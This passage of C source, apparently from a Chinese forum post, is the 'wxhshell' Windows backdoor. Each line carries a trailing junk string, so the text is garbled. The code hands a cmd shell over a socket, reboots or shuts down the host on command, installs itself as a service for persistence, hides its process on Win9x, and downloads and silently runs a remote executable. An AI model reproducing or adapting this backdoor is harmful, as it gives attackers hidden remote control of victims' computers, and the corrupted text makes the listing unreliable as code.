  // 帮助 {I0b%>r=  
  case '?': { m/RX~,T*v&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :so2 {.t-  
    break; H6%QM}t  
  } 1$T;u~vg  
  // 安装 ^F2 OTz4n  
  case 'i': { XG FjqZr`  
    if(Install()) I.BsKB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,g3 /  
    else qniP`P4E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya7PF~:E-  
    break; n "?It  
    } &J(+XJM%  
  // 卸载 )a"rj5~-  
  case 'r': { mOgsO  
    if(Uninstall()) jej|B#?`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cq\1t  
    else vM )2F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zY_xJ"/9  
    break; \1|]?ZQ\K  
    }  .>?h  
  // 显示 wxhshell 所在路径 *FhD%><  
  case 'p': { k\->uSU9  
    char svExeFile[MAX_PATH]; ,Vb;2  
    strcpy(svExeFile,"\n\r"); '](4g/%  
      strcat(svExeFile,ExeFile); XfY~q~f8  
        send(wsh,svExeFile,strlen(svExeFile),0); 4Uz1~AuNxb  
    break; &q~**^;'  
    } ~DY5`jV  
  // 重启 +LBDn"5  
  case 'b': { ~q0g7?}&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >! u@>  
    if(Boot(REBOOT)) h M{&if  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fDe4 [QQ8  
    else { P$l-p'U-  
    closesocket(wsh); +!_?f'kv`  
    ExitThread(0); X( Q*(_  
    } [t)omPy<c  
    break; dzA5l:5  
    } !%w#h0(b  
  // 关机 [HEqMBX=;  
  case 'd': { /rMxl(wD'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DGfhS`X  
    if(Boot(SHUTDOWN)) e<_yr>9g"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=)0y$  
    else { 31BN ?q  
    closesocket(wsh); &!)F0PN:u  
    ExitThread(0); RX]x3-  
    } O_ }ZSB8"  
    break; 'vgO`  
    } }h+_kRQ  
  // 获取shell [,GXA)j  
  case 's': { sOyWsXd+R'  
    CmdShell(wsh); @(:ah  
    closesocket(wsh); XTIRY4{ d  
    ExitThread(0); lHYu-}TNP  
    break; ~&E|;\G  
  } "|1MJuY_6  
  // 退出 6k#H>zY,  
  case 'x': { |=OO$z;q|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R=D\VIu,Z  
    CloseIt(wsh); 'WqSHb7  
    break; %}z/_QZ  
    } xP@VK!sc  
  // 离开 ` eB-C//  
  case 'q': { 1[k~*QS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4fDo}~  
    closesocket(wsh); ' pE %'8R  
    WSACleanup(); )B d`N^k+  
    exit(1); FV[6">;g  
    break; 1'|6IR1'  
        } K;2]c3T  
  } ^$][ah  
  } vFfvvRda4x  
Z=: oIAe  
  // 提示信息 JCIm*6~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <`dF~   
} gbc^Lb  
  } ^q"wd?((h  
qA- ya6  
  return; -t9oL3J  
} '-jKv=D+  
D\Y)E#%,  
// shell模块句柄 !$q1m@K1  
int CmdShell(SOCKET sock) ht^U VV2  
{ uCK!lq-  
STARTUPINFO si; -`e=u<Y9@  
ZeroMemory(&si,sizeof(si)); `92 D]^g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }9C5U>?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "X']_:F1a  
PROCESS_INFORMATION ProcessInfo; Ow\9vf6H  
char cmdline[]="cmd"; >l$vu-k)~4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~L(_q]  
  return 0; c ;3bX6RD*  
} -X@;"0v  
5iola}6  
// 自身启动模式 XEqg%f  
int StartFromService(void) S(A0),  
{ d9/E^)TT  
typedef struct  w'=#7$N  
{ *D1fSu!  
  DWORD ExitStatus; z(< E %  
  DWORD PebBaseAddress; f{e*R#+&  
  DWORD AffinityMask; 7YbI|~  
  DWORD BasePriority; Q:+Y-&||"  
  ULONG UniqueProcessId; K*J8(/WkD  
  ULONG InheritedFromUniqueProcessId; a@@!Eg A  
}   PROCESS_BASIC_INFORMATION; vg5zsR0u  
8Gb=aF1  
PROCNTQSIP NtQueryInformationProcess; hoC}@8_  
+N[dYm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bcpH|}[F)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fga9  
@{_PO{=\C  
  HANDLE             hProcess; o,) p*glO  
  PROCESS_BASIC_INFORMATION pbi; *9^CgLF  
f/)3b`$Wu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pi?*rr5WZ  
  if(NULL == hInst ) return 0; KGUpXMd^Z  
v>3ctP {  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rOY^w9!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <YL\E v/[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )<.S 3  
}jd[>zk  
  if (!NtQueryInformationProcess) return 0; eEsEW<su  
F dv&kK!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); whKr3)  
  if(!hProcess) return 0; P7\(D`  
kSNVI-Wzu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; se_zCS4Y  
+bm2vIh$  
  CloseHandle(hProcess); h Zlajky  
(p} N9n$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !w f N~.Y  
if(hProcess==NULL) return 0; uMsKF%m  
-lL*WA`  
HMODULE hMod; j~DoMP5Ls  
char procName[255]; D.Cm&  
unsigned long cbNeeded; n2#uH  
any\}   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s*k"-5  
8Z3+S)6  
  CloseHandle(hProcess); y8+?:=N.  
lRt8{GFy  
if(strstr(procName,"services")) return 1; // 以服务启动 4)j<(5  
]^ O<WD  
  return 0; // 注册表启动 3UC8iq*  
} W \f7fVU  
d+T]EpQJ*  
// 主模块 n]Dq  
int StartWxhshell(LPSTR lpCmdLine) L&3=5Bf9  
{ Tjs-+$P+  
  SOCKET wsl; bT{P1nUu  
BOOL val=TRUE; !W$Br\<  
  int port=0; >4EcV1y  
  struct sockaddr_in door; flLmZ1"  
[RpFC4W  
  if(wscfg.ws_autoins) Install(); p'w[5'  
[F/xU  
port=atoi(lpCmdLine); 9:~,TH  
$E7yJ|p{  
if(port<=0) port=wscfg.ws_port; N_0&3PUSM  
[q.W!l4E  
  WSADATA data; qE,%$0g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O1#rCFC|y  
hChM hc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; wHuL\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [ z$J  
  door.sin_family = AF_INET; La9@h"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3al5Vu2:  
  door.sin_port = htons(port); j|aT`UH03  
}4 $EN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g<.8iW 'c  
closesocket(wsl); |e< U%v  
return 1; It_yh #s  
} t*}<v@,  
8=nm`7(]  
  if(listen(wsl,2) == INVALID_SOCKET) { :&:>sd(QD  
closesocket(wsl); |x5 w;=  
return 1; k6Tpaf^  
} !m(6/*PAl  
  Wxhshell(wsl); q6G([h7  
  WSACleanup(); 2PeI+!7s  
h,p&/oU4U  
return 0; 2!6Kzq  
shn-Es*  
} v<c Hx/  
b5)>h  
// 以NT服务方式启动 T8m%_U#b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !<X_XA  
{ 1b!l+ 8!  
DWORD   status = 0; cEQa 6  
  DWORD   specificError = 0xfffffff; [cW  
v Cmh3TQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mE7Jv)@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aEM#V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /6.b>|zF  
  serviceStatus.dwWin32ExitCode     = 0; JWdG?[$  
  serviceStatus.dwServiceSpecificExitCode = 0; /nmfp&@  
  serviceStatus.dwCheckPoint       = 0; mn4;$1~e>H  
  serviceStatus.dwWaitHint       = 0; CKR9APkv  
<A&R%5Vs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )I$Mh@F  
  if (hServiceStatusHandle==0) return; v}mmY>M%  
7>mYD3  
status = GetLastError(); #FQVhgc  
  if (status!=NO_ERROR) KWH  
{ F>Oh)VL,Ev  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0z xeA +U  
    serviceStatus.dwCheckPoint       = 0; lKwcT!Q4  
    serviceStatus.dwWaitHint       = 0; N}h%8\  
    serviceStatus.dwWin32ExitCode     = status;  "O 'I  
    serviceStatus.dwServiceSpecificExitCode = specificError; n)H0;25L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '[E_7$d  
    return; v%- V|L  
  } NEH$&%OV?  
H}~^,B2;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tSYnc7  
  serviceStatus.dwCheckPoint       = 0; /W>"G1)  
  serviceStatus.dwWaitHint       = 0; s#fmGe"8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9|m  L  
} Y|~>(  
c2f$:XiM  
// 处理NT服务事件,比如:启动、停止 &40]sxm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b#U%aPH  
{ /km3L7L%R  
switch(fdwControl) *X-$* ~J0  
{ ;CZcY] ol  
case SERVICE_CONTROL_STOP: BYf"l8^,  
  serviceStatus.dwWin32ExitCode = 0; 7EXmmB~>,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /{va<CL  
  serviceStatus.dwCheckPoint   = 0; Ei<:=6EX?8  
  serviceStatus.dwWaitHint     = 0; *S4P'JSY  
  { &$Lm95  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iT"Itz-^#  
  } *)1z-rH`  
  return; J#]y KgT  
case SERVICE_CONTROL_PAUSE: 4\3t5n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jayoARUB  
  break; :<gk~3\  
case SERVICE_CONTROL_CONTINUE: GZt] 38V)g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jx<  
  break; 2cl~Va=  
case SERVICE_CONTROL_INTERROGATE: t} M3F-NZ  
  break; k N+(  
}; ;p ('cwU%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@)bl  
} XEEbmIO*<9  
U8KY/!XZ  
// 标准应用程序主函数 ?OyW|jL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k]iS3+nD  
{ POXn6R!mM1  
Se`N5hQ  
// 获取操作系统版本 *% *^a\2  
OsIsNt=GetOsVer(); ^aCYh[=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AHY)#|/)  
A5ID I<a  
  // 从命令行安装 n0pe7/Ai  
  if(strpbrk(lpCmdLine,"iI")) Install(); o7XRa]O  
;%alZ  
  // 下载执行文件 3+5\xRq  
if(wscfg.ws_downexe) { Y j\yO(o/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |l(lrJ{  
  WinExec(wscfg.ws_filenam,SW_HIDE); B31-<w  
} q"<-  
y(h(mr  
if(!OsIsNt) { nF$)F?||  
// 如果时win9x,隐藏进程并且设置为注册表启动 H> iZVE  
HideProc(); D  .R  
StartWxhshell(lpCmdLine); s'Gy+h.  
} 'LLx$y.Ei[  
else #%"TU,[+  
  if(StartFromService()) UO<claV  
  // 以服务方式启动 R7c)C8/~  
  StartServiceCtrlDispatcher(DispatchTable); *AR<DXE L  
else Ki6.'#%7  
  // 普通方式启动 NV4W2thYo  
  StartWxhshell(lpCmdLine); >%dAqYi $  
i bs "Iv34  
return 0; no6]{qn=6  
}
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只看该作者 1 发表于: 2006-10-10
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